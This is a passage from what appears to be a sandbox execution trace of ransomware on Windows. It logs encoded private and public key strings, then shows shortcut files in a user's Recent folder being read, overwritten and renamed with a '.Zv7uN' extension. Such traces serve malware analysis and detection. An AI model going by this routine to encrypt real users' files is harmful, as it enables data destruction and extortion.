TCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.016] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0082.018] GetCurrentThreadId () returned 0xa30 [0082.018] GetCurrentThreadId () returned 0xa30 [0082.018] GetCurrentThreadId () returned 0xa30 [0082.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.019] GetCurrentThreadId () returned 0xa30 [0082.019] GetCurrentThreadId () returned 0xa30 [0082.019] GetCurrentThreadId () returned 0xa30 [0082.019] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mQqJLf-H9R2.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\mqqjlf-h9r2.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.019] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.019] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.019] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xf64 [0082.019] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.019] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xf64, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xf64, lpOverlapped=0x0) returned 1 [0082.021] CloseHandle (hObject=0x124) returned 1 [0082.021] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mQqJLf-H9R2.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\mqqjlf-h9r2.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.022] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xf64, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xf64, lpOverlapped=0x0) returned 1 [0082.024] CloseHandle (hObject=0x124) returned 1 [0082.037] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mQqJLf-H9R2.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\mqqjlf-h9r2.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mQqJLf-H9R2.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\mqqjlf-h9r2.lnk.zv7un")) returned 1 [0082.038] GetCurrentThreadId () returned 0xa30 [0082.038] GetCurrentThreadId () returned 0xa30 [0082.038] GetCurrentThreadId () returned 0xa30 [0082.038] GetCurrentThreadId () returned 0xa30 [0082.038] GetCurrentThreadId () returned 0xa30 [0082.038] GetCurrentThreadId () returned 0xa30 [0082.038] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1026a40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1026a40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe104cba0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x144d, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="mSDpfr6aM.lnk", cAlternateFileName="MSDPFR~1.LNK")) returned 1 [0082.038] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.038] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.038] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mSDpfr6aM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\msdpfr6am.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1026a40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1026a40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe104cba0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x144d)) returned 1 [0082.038] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mSDpfr6aM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\msdpfr6am.lnk")) returned 0x20 [0082.039] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mSDpfr6aM.lnk", dwFileAttributes=0x80) returned 1 [0082.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 